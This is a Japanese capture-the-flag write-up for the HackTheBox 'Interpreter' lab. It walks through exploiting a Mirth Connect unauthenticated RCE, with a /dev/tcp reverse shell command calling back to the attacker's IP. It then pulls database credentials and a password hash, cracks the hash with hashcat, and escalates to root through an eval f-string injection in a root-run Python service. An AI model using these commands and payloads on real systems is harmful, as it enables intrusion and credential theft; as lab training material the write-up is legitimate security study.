概要
HackTheBox「Interpreter」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sCV -T4 -p- 10.129.11.47 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open unknown
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 9.2p1 |
| 80 | http | |
| 443 | http |
80番ポートにアクセスすると、Mirth Connectが動作していると分かりました。
ディレクトリスキャンをします。
$ dirsearch -u http://10.129.11.47
[05:36:58] 200 - 2KB - /images/
[05:37:02] 200 - 771B - /js/
[05:37:51] 200 - 163B - /webadmin/
[05:37:51] 200 - 163B - /webadmin/index.html
Launch Mirth Connect Administratorボタンをクリックすると、webstart.jnlpをダウンロードできました。
フィアルの内容を確認すると、Mirth Connect 4.4.0を使用していると分かりました。
<jnlp codebase="https://10.129.11.47:443" version="4.4.0">
<information>
<title>Mirth Connect Administrator 4.4.0</title>
該当バージョンの脆弱性を検索すると、認証不要のRCEcve-2023-43208が見つかりました。
このリポジトリのPOCを使用します。
POCを実行します。
$ python3 CVE-2023-43208.py -u https://10.129.11.47 -lh 10.10.14.28 -lp 1234
[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.11.47
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/10.10.14.28/1234;sh <&53 >&53 2>&53'
[*] Launching exploit against https://10.129.11.47...
リバースシェルを張れました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.11.47] 59074
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
TTYの設定をします。
python3 -c 'import pty;pty.spawn("/bin/bash")'
conf/mirth.propertiesを確認すると、DBの認証情報を得られました。
# database credentials
database.username = mirthdb
database.password = MirthPass123!
DBに接続します。
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p
mysql -u mirthdb -p
Enter password: MirthPass123!
MariaDB [(none)]>
ユーザー名とパスワードハッシュを得られました。
MariaDB [mc_bdd_prod]> select * from PERSON;
select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| 2 | sedric | | | | NULL | | | | 2025-09-21 17:56:02 | NULL | 0 | NULL | | NULL | United States | NULL | 0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.000 sec)
MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD | PASSWORD_DATE |
+-----------+----------------------------------------------------------+---------------------+
| 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.000 sec)
mirth connect 4.4.0のリリースノートを確認します。
リリースノートから、パスワードハッシュアルゴリズムがPBKDF2WithHmacSHA256に変更されたこと、
ストレッチング回数が60万回に変更されたことが分かりました。
We've changed the default digest/hash algorithm from SHA256 to PBKDF2WithHmacSHA256. In addition
デフォルトのダイジェスト/ハッシュアルゴリズムをSHA256からPBKDF2WithHmacSHA256に変更しました。
the default iteration count was changed from 1000 to 600000.
デフォルトの反復回数が1000回から600000回に変更されました。
HashcatでPBKDF2-HMAC-SHA256をクラックする際の、パスワードファイルフォーマットを確認します。
以下のフォーマットにする必要があります。
sha256:<iteration>$<base64 salt>$<base64 hash>
ハッシュ値からソルト部分を探します。
そのために、Mirth Connectのパスワードをハッシュ化している処理内容を確認します。
ソースコードによると、以下フォーマットでハッシュ化しているようです。
SALT_ + 8-bit salt + base64(sha(salt + password))
ハッシュ値をBase64でデコードし、先頭8bitを抜き出します。
ソルトの8bitが分かりました。
bb ff 8b 04 13 94 9d a7
残りの部分がパスワードのハッシュ値になります。
62 c8 50 6c 30 ea 08 0c f2 db 51 1d 2b 93 9f 64 12 43 d4 d7 b8 ad 76 b5 56 03 f9 0b 32 dd f0 fb
ソルトの8bitを再度Base64でエンコードします。
$ echo "bbff8b0413949da7" | xxd -r -p | base64
u/+LBBOUnac=
パスワード部分も再度Base64でエンコードします。
$ echo "62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb" | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
最終的なパスワードファイルの内容は以下になりました。
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
Hashcatで平文を特定できました。
$ hashcat -m 10900 pass.txt /usr/share/wordlists/rockyou.txt
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
sedricアカウントでSSH接続に成功しました。
$ ssh sedric@10.129.11.47
sedric@interpreter:~$
ユーザーフラグを入手できました。
sedric@interpreter:~$ cat user.txt
68c86e1faf3bb1d9fc73d7e36a4b655c
A.68c86e1faf3bb1d9fc73d7e36a4b655c
Root Flag
pspyで稼働中のプロセスを確認します。
root権限で/usr/local/bin/notif.pyが実行されていると分かりました。
2026/05/31 07:28:34 CMD: UID=0 PID=3489 | /usr/bin/python3 /usr/local/bin/notif.py
ファイルの読み取り権限があります。
sedric@interpreter:/tmp$ ls -la /usr/local/bin/
total 12
drwxr-xr-x 2 root root 4096 Feb 16 15:42 .
drwxr-xr-x 11 root root 4096 Feb 16 15:42 ..
-rwxr----- 1 root sedric 2332 Sep 19 2025 notif.py
処理内容を確認します。
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
/addPatientにPOSTリクエストを送った際に、eval関数を実行しています。
関数実行の際にf-stringで2回変数を展開・実行しています。
try:
return eval(f"f'''{template}'''")
入力値の検証は空白のみ除外されています。
なので、eval関数部分でテンプレートインジェクションが出来そうです。
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
インジェクションには以下ペイロードを使用します。
{open('/root/root.txt').read()}
SSTI時の処理としては、1回目のf-stringdでtemplate変数が展開されます。
この時点ではペイロードが、ただのテキストとして処理されます。
{open('/root/root.txt').read()}
しかし、2回目のf-stringでは{open('/root/root.txt').read()}が展開・実行されます。
そうすることでopen().read()関数が実行され、ファイルの読み取りに成功します。
template変数に入力値を渡すには、127.0.0.1/addPatientへPOSTリクエストを送り、
XMLでBodyの値を作成します。
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
XMLをPOSTで送る処理をpythonで書きました。
import urllib.request
url = "http://127.0.0.1:54321/addPatient"
xml_data = """<patient>
<firstname>{open('/root/root.txt').read()}</firstname>
<lastname>Doe</lastname>
<sender_app>MirthConnect</sender_app>
<timestamp>20260531</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>Male</gender>
</patient>"""
encoded_data = xml_data.encode("utf-8")
req = urllib.request.Request(
url, data=encoded_data, headers={"Content-Type": "application/xml"}
)
try:
with urllib.request.urlopen(req) as response:
html = response.read().decode("utf-8")
print("Response:")
print(html)
except Exception as e:
print(f"Error: {e}")
実行すると、ルートフラグを入手できました。
sedric@interpreter:/tmp$ python3 poc.py
Response:
Patient 32a4679e0558d57ac554e38b9019af6f
Doe (Male), 26 years old, received from MirthConnect at 20260531
A.32a4679e0558d57ac554e38b9019af6f

